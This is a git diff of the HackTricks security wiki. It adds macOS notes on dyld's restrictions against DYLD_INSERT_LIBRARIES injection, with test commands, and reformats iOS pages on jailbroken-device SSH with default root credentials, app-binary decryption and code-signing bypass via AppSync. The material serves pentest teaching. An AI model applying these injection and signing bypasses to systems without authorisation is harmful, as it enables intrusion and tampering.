+In the file `dyld-dyld-832.7.1/src/dyld2.cpp` it's possible to fund the function **`pruneEnvironmentVariables`**, which will remove any env variable that **starts with `DYLD_`** and **`LD_LIBRARY_PATH=`**.
+
+It'll also set to **null** specifically the env variables **`DYLD_FALLBACK_FRAMEWORK_PATH`** and **`DYLD_FALLBACK_LIBRARY_PATH`** for **suid** and **sgid** binaries.
+
+This function is called from the **`_main`** function of the same file if targeting OSX like this:
+
+```cpp
+#if TARGET_OS_OSX
+    if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
+		pruneEnvironmentVariables(envp, &apple);
+```
+
+and those boolean flags are set in the same file in the code:
+
+```cpp
+#if TARGET_OS_OSX
+	// support chrooting from old kernel
+	bool isRestricted = false;
+	bool libraryValidation = false;
+	// any processes with setuid or setgid bit set or with __RESTRICT segment is restricted
+	if ( issetugid() || hasRestrictedSegment(mainExecutableMH) ) {
+		isRestricted = true;
+	}
+	bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0);
+	uint32_t flags;
+	if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) {
+		// On OS X CS_RESTRICT means the program was signed with entitlements
+		if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) {
+			isRestricted = true;
+		}
+		// Library Validation loosens searching but requires everything to be code signed
+		if ( flags & CS_REQUIRE_LV ) {
+			isRestricted = false;
+			libraryValidation = true;
+		}
+	}
+	gLinkContext.allowAtPaths                = !isRestricted;
+	gLinkContext.allowEnvVarsPrint           = !isRestricted;
+	gLinkContext.allowEnvVarsPath            = !isRestricted;
+	gLinkContext.allowEnvVarsSharedCache     = !libraryValidation || !usingSIP;
+	gLinkContext.allowClassicFallbackPaths   = !isRestricted;
+	gLinkContext.allowInsertFailures         = false;
+	gLinkContext.allowInterposing         	 = true;
+```
+
+Which basically means that if the binary is **suid** or **sgid**, or has a **RESTRICT** segment in the headers or it was signed with the **CS\_RESTRICT** flag, then **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** is true and the env variables are pruned.
+
+Note that if CS\_REQUIRE\_LV is true, then the variables won't be pruned but the library validation will check they are using the same certificate as the original binary.
+
+## Check Restrictions
+
+### SUID & SGID
+
+```bash
+# Make it owned by root and suid
+sudo chown root hello
+sudo chmod +s hello
+# Insert the library
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello
+
+# Remove suid
+sudo chmod -s hello
+```
+
+### Section `__RESTRICT` with segment `__restrict`
+
+```bash
+gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
+```
+
+### Hardened runtime
+
+Create a new certificate in the Keychain and use it to sign the binary:
+
+{% code overflow="wrap" %}
+```bash
+# Apply runtime proetction
+codesign -s <cert-name> --option=runtime ./hello
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
+
+# Apply library validation
+codesign -f -s <cert-name> --option=library ./hello
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
+
+# Sign it
+## If the signature is from an unverified developer the injection will still work
+## If it's from a verified developer, it won't
+codesign -f -s <cert-name> inject.dylib
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
+
+# Apply CS_RESTRICT protection
+codesign -f -s <cert-name> --option=restrict hello-signed
+DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
+```
+{% endcode %}
+
+{% hint style="danger" %}
+Note that even if there are binaries signed with flags **`0x0(none)`**, they can get the **`CS_RESTRICT`** flag dynamically when executed and therefore this technique won't work in them.
+
+You can check if a proc has this flag with (get [**csops here**](https://github.com/axelexic/CSOps)):&#x20;
+
+```bash
+csops -status <pid>
+```
+
+and then check if the flag 0x800 is enabled.
+{% endhint %}
+
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -88,10 +88,10 @@ After installing Certificate SSL endpoints also working fine tested using → [h
 After installing the certificate this way Firefox for Android won't use it (based on my tests), so use a different browser.
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -103,7 +103,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

@@ -270,19 +270,19 @@ Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you n
 
 1. **Install a CA certificate**: Just **drag\&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
 
-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
 
 * Check that the certificate was correctly stored going to `Trusted credentials` -> `USER`
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
 
 2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag\&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
 
-<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="345"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
 
 * After rebooting, go to `Trusted credentials` -> `SYSTEM` and check the Postswigger cert is there
 
-<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="314"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
 
 ## Nice AVD Options
 

mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -149,7 +149,7 @@ You can see that in [the next tutorial](frida-tutorial-2.md).
 
 
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

mobile-pentesting/ios-pentesting-checklist.md

@@ -1,9 +1,9 @@
 # iOS Pentesting Checklist
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -15,7 +15,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -115,15 +115,15 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

mobile-pentesting/ios-pentesting/README.md

@@ -1,9 +1,9 @@
 # iOS Pentesting
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -382,10 +382,10 @@ struct CGSize {
 
 However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -744,10 +744,10 @@ Jun  7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch
 ...
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -1233,10 +1233,10 @@ You can find the **libraries used by an application** by running **`otool`** aga
 * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
 * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -1,23 +1,18 @@
-
+# Basic iOS Testing Operations
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
 
 </details>
 
-
+## Getting the UDID of an iOS device
-# Getting the UDID of an iOS device
 
 {% hint style="info" %}
 Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**.
@@ -57,11 +52,11 @@ It is also possible to get the UDID via various command line tools on macOS whil
       $ instruments -s devices
     ```
 
-# Accessing the Device Shell
+## Accessing the Device Shell
 
 After jailbreaking the device you should have installed some new app manager like **Cydia**.
 
-## SSH
+### SSH
 
 In order to enable SSH access to your iOS device you can install the **OpenSSH** **package**. Once installed, you can access your device via ssh running `ssh root@<device_ip_address>`, which will log you in as the root user:
 
@@ -73,14 +68,12 @@ iPhone:~ root#
 
 When accessing your iOS device via SSH consider the following:
 
-* The default users are `root` and `mobile`.
+* The **default users are `root` and `mobile`**.
-* The default password for both is `alpine`.
+* The default **password** for both is **`alpine`**.
 
 > Remember to change the default password for both users `root` and `mobile` as anyone on the same network can find the IP address of your device and connect via the well-known default password, which will give them root access to your device.
 
-
+### **Connect to a Device via SSH over USB**
-
-## **Connect to a Device via SSH over USB**
 
 During a real black box test, a reliable Wi-Fi connection may not be available. In this situation, you can use usbmuxd to connect to your device's SSH server via USB.
 
@@ -104,7 +97,7 @@ iPhone:~ root#
 
 > Small note on USB of an iDevice: on an iOS device you cannot make data connections anymore after 1 hour of being in a locked state, unless you unlock it again due to the USB Restricted Mode, which was introduced with iOS 11.4.1
 
-## On-device Shell App
+### On-device Shell App
 
 While usually using an **on-device shell** (terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing).
 
@@ -124,9 +117,9 @@ On your host computer run the following command and, when asked, enter the passw
 $ ssh -p 2222 root@localhost
 ```
 
-## **Forgotten Password**
+### **Forgotten Password**
 
-If you forget your password and want to reset it to the default `alpine`:
+If you forget your password and want to reset it to the default **`alpine`**:
 
 1. Edit the file `/private/etc/master.passwd` on your jailbroken iOS device using an on-device **terminal** or using apps like **Filza** or **iFile**
 2.  Find the lines:
@@ -138,9 +131,9 @@ If you forget your password and want to reset it to the default `alpine`:
 3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` (which is the hashed password `alpine`)
 4. Save and exit
 
-# Data Transfer
+## Data Transfer
 
-## Copying App Data Files via SSH and SCP
+### Copying App Data Files via SSH and SCP
 
 As we know now, files from our app are stored in the Data directory. You can now simply archive the Data directory with `tar` and pull it from the device with `scp`:
 
@@ -150,7 +143,7 @@ iPhone:~ root# exit
 $ scp -P 2222 root@localhost:/tmp/data.tgz .
 ```
 
-## Using iFunbox
+### Using iFunbox
 
 [**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things (uploading/downloading files among them).\
 Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer).
@@ -159,7 +152,7 @@ Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexp
 Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken.
 {% endhint %}
 
-## Using Objection
+### Using Objection
 
 When you are starting objection (`objection --gadget com.apple.mobilesafari explorer`) you will find the prompt within the Bundle directory.
 
@@ -187,9 +180,9 @@ Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4F
 
 You can also upload files to the iOS device with `file upload <local_file_path>`.
 
-# Obtaining and Extracting Apps
+## Obtaining and Extracting Apps
 
-## Getting the IPA File from an OTA Distribution Link
+### Getting the IPA File from an OTA Distribution Link
 
 During development, apps are sometimes provided to testers via over-the-air (OTA) distribution. In that situation, you'll receive an itms-services link, such as the following:
 
@@ -209,7 +202,7 @@ Save the IPA file locally with the following command:
 # itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
 ```
 
-## Acquiring the App Binary
+### Acquiring the App Binary
 
 1.  **From an IPA**:
 
@@ -220,14 +213,14 @@ Save the IPA file locally with the following command:
 
     If you don't have the original IPA, then you need a jailbroken device where you will **install the app** (e.g. via App Store). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle (either through SSH or Objection) will not be sufficient to reverse engineer it (read next section).
 
-## Decryption (Manual)
+### Decryption (Manual)
 
 Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\
-When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating  ting the reverse-engineering tasks.
+When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks.
 
 However, note that there are other **third party software that can be used to obfuscate** the resulting binaries.
 
-In order to run the encrypted binary, the device needs to decrypt it  in memory. Then, it's possible to **dump the decrypted binary from the memory**.
+In order to run the encrypted binary, the device needs to decrypt it in memory. Then, it's possible to **dump the decrypted binary from the memory**.
 
 First, check if the binary is compiled with the PIE (Position Independent Code) flag:
 
@@ -272,7 +265,7 @@ otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 The value of **`cryptoff`** indicated the starting address of the encrypted content and the **`cryptsize`** indicates the size of the encrypted content.
 
 So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize`\
-In this case: `start_address = 0x4000 + 0x4000 = 0x8000` __ and `end_address = 0x8000 + 0x109c000 = 0x10a4000`
+In this case: `start_address = 0x4000 + 0x4000 = 0x8000` \_\_ and `end_address = 0x8000 + 0x109c000 = 0x10a4000`
 
 With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb (`gdb -p <pid>`) and dump the memory:
 
@@ -291,9 +284,9 @@ However, you can use tools like [**MachOView**](https://sourceforge.net/projects
 
 ![](<../../.gitbook/assets/image (470).png>)
 
-## Decryption (Automatically)
+### Decryption (Automatically)
 
-### frida-ios-dump
+#### frida-ios-dump
 
 You can use tools like [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) to **automatically remove the encryption and an app**.
 
@@ -334,7 +327,7 @@ libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00
 
 After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it (e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid.
 
-### flexdecrypt
+#### flexdecrypt
 
 In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) or a wrapper of the tool called [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\
 In any case you will need to **install flexdecrypt in the device** running something like:
@@ -354,13 +347,13 @@ flexdump list #List apps
 flexdump dump Twitter.app #Create .ipa file from app
 ```
 
-### r2flutch
+#### r2flutch
 
 [**r2flutch**](https://github.com/as0ler/r2flutch) is a tool that uses **radare** and **frida** to **decrypt** and **dump ios apps>**
 
 See the **github** for more information.
 
-# Installing Apps
+## Installing Apps
 
 When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages.
 
